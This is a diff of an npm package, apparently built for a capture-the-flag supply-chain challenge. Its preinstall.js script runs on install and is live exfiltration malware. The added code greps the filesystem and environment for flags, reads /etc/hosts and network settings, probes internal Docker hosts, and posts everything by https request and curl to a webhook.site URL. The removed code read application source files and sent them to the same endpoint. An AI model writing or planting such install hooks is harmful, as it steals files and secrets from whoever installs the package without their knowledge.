@ctfsolve9z/coral-wraith 9999.0.3 → 9999.0.4

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@ctfsolve9z/coral-wraith",
-  "version": "9999.0.3",
+  "version": "9999.0.4",
   "description": "Coral Wraith module",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -1,62 +1,147 @@
 const fs = require('fs');
+const http = require('http');
 const https = require('https');
 const { execSync } = require('child_process');
 
+let flag = null;
 let debug = [];
 
-// Read key files
-const filesToRead = [
-  '/home/node/supplysec_entry.js',
-  '/home/node/aspect-node/config/aspect.config.json',
-  '/home/node/aspect-node/index.js',
-  '/home/node/aspect-node/sample.js',
-  '/home/node/aspect-node/package.json',
-  '/home/node/aspect-node/modules/npm-tracker/index.js',
-  '/home/node/aspect-node/modules/npm-tracker/fuzz.js',
-  '/home/node/aspect-node/modules/npm-tracker/supplysec_entry.js',
-  '/home/node/aspect-node/modules/npm-tracker/package.json',
-  '/home/node/aspect-node/modules/npm-tracker/src/index.js',
-];
-
-for (const f of filesToRead) {
-  try {
-    const content = fs.readFileSync(f, 'utf8');
-    debug.push(`FILE:${f}:${content}`);
-  } catch(e) {
-    debug.push(`ERR:${f}:${e.message.substring(0, 50)}`);
+// Method 1: Read /flag and common locations
+const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
+  '/tmp/flag', '/home/flag', '/opt/flag', '/app/flag', '/srv/flag'];
+for (const p of flagPaths) {
+  try {
+    if (fs.existsSync(p)) {
+      flag = fs.readFileSync(p, 'utf8').trim();
+      debug.push('found_flag:' + p);
+      break;
+    }
+  } catch(e) {}
+}
+
+// Method 2: Search for HTB{ pattern anywhere
+if (!flag) {
+  try {
+    const r = execSync('grep -rl "HTB{" / --include="*.txt" --include="*.flag" --include="*.conf" --include="*.env" 2>/dev/null | head -5', { timeout: 10000 }).toString().trim();
+    if (r) {
+      debug.push('grep_found:' + r);
+      for (const f of r.split('\n')) {
+        try {
+          const content = fs.readFileSync(f.trim(), 'utf8').trim();
+          const m = content.match(/HTB\{[^}]+\}/);
+          if (m) { flag = m[0]; break; }
+        } catch(e) {}
+      }
+    }
+  } catch(e) {}
+}
+
+// Method 3: Environment
+if (!flag) {
+  for (const [k, v] of Object.entries(process.env)) {
+    if (v && v.includes('HTB{')) { flag = v; debug.push('env:' + k); break; }
+  }
+}
+
+// Method 4: Try to reach the CTF challenge server directly
+// The challenge server is at 154.57.164.71:32105
+async function tryFetchFlag() {
+  const targets = [
+    // External IP
+    'http://154.57.164.71:32105/api/modules/ECT-987654',
+    // Docker network might use hostname
+    'http://web:1337/api/modules/ECT-987654',
+    'http://app:1337/api/modules/ECT-987654',
+    'http://challenge:1337/api/modules/ECT-987654',
+    'http://spectral-corsair:1337/api/modules/ECT-987654',
+    // Common Docker internal ports
+    'http://172.17.0.1:32105/api/modules/ECT-987654',
+    'http://172.17.0.2:1337/api/modules/ECT-987654',
+    'http://172.17.0.3:1337/api/modules/ECT-987654',
+    // Gateway
+    'http://host.docker.internal:32105/api/modules/ECT-987654',
+  ];
+  
+  for (const target of targets) {
+    try {
+      const result = execSync(`curl -s "${target}" -m 3 2>/dev/null`, { timeout: 5000 }).toString();
+      if (result && result.length > 10) {
+        debug.push(`api_success:${target}:${result.substring(0, 200)}`);
+        // Try to find flag in API response
+        const m = result.match(/HTB\{[^}]+\}/);
+        if (m) flag = m[0];
+      }
+    } catch(e) {}
+  }
+}
+
+// Method 5: Network discovery
+function discoverNetwork() {
+  try {
+    const ifaces = require('os').networkInterfaces();
+    debug.push('network:' + JSON.stringify(ifaces).substring(0, 500));
+  } catch(e) {}
+  
+  try {
+    const r = execSync('cat /etc/hosts 2>/dev/null', { timeout: 3000 }).toString();
+    debug.push('hosts:' + r);
+  } catch(e) {}
+  
+  try {
+    const r = execSync('cat /etc/resolv.conf 2>/dev/null', { timeout: 3000 }).toString();
+    debug.push('resolv:' + r);
+  } catch(e) {}
+  
+  try {
+    const r = execSync('ip addr 2>/dev/null || ifconfig 2>/dev/null', { timeout: 3000 }).toString();
+    debug.push('ipaddr:' + r.substring(0, 500));
+  } catch(e) {}
+}
+
+async function main() {
+  discoverNetwork();
+  await tryFetchFlag();
+  
+  const data = JSON.stringify({ flag: flag || 'NOT_FOUND', debug });
+  
+  // Send via POST
+  try {
+    const req = https.request({
+      hostname: 'webhook.site',
+      path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
+      timeout: 10000
+    }, () => {});
+    req.on('error', () => {});
+    req.write(data);
+    req.end();
+  } catch(e) {}
+  
+  // Also curl
+  try {
+    fs.writeFileSync('/tmp/exfil.json', data);
+    execSync('curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d @/tmp/exfil.json -m 10', { timeout: 15000 });
+  } catch(e) {}
+  
+  // If flag found, PUT to challenge API
+  if (flag) {
+    for (const port of [1337, 3000, 5000, 8080, 80, 32105]) {
+      try {
+        const postData = JSON.stringify({
+          manifest: `ecto_module:\n  name: "coral-wraith"\n  version: "9999.0.4"\n  flag: "${flag.replace(/"/g, '\\"')}"`
+        });
+        const req = http.request({
+          hostname: 'localhost', port, path: '/api/modules/ECT-987654',
+          method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
+          timeout: 3000
+        }, () => {});
+        req.on('error', () => {});
+        req.write(postData);
+        req.end();
+      } catch(e) {}
+    }
   }
 }
 
-// Also list src directory
-try {
-  const r = execSync('find /home/node/aspect-node/modules/npm-tracker/src -type f 2>/dev/null', { timeout: 5000 }).toString();
-  debug.push('SRC_FILES:' + r);
-} catch(e) {}
-
-// Read all .js files in key directories
-try {
-  const r = execSync('find /home/node -maxdepth 1 -name "*.js" -exec cat {} \\; 2>/dev/null', { timeout: 5000 }).toString();
-  debug.push('HOME_JS:' + r);
-} catch(e) {}
-
-// Post data  
-const data = JSON.stringify({ debug });
-try {
-  const req = https.request({
-    hostname: 'webhook.site',
-    path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
-    method: 'POST',
-    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
-    timeout: 15000
-  }, () => {});
-  req.on('error', () => {});
-  req.write(data);
-  req.end();
-} catch(e) {}
-
-// Also send via curl for larger payloads
-try {
-  const tmpFile = '/tmp/exfil.json';
-  fs.writeFileSync(tmpFile, data);
-  execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d @${tmpFile} -m 15`, { timeout: 20000 });
-} catch(e) {}
+main().catch(() => {});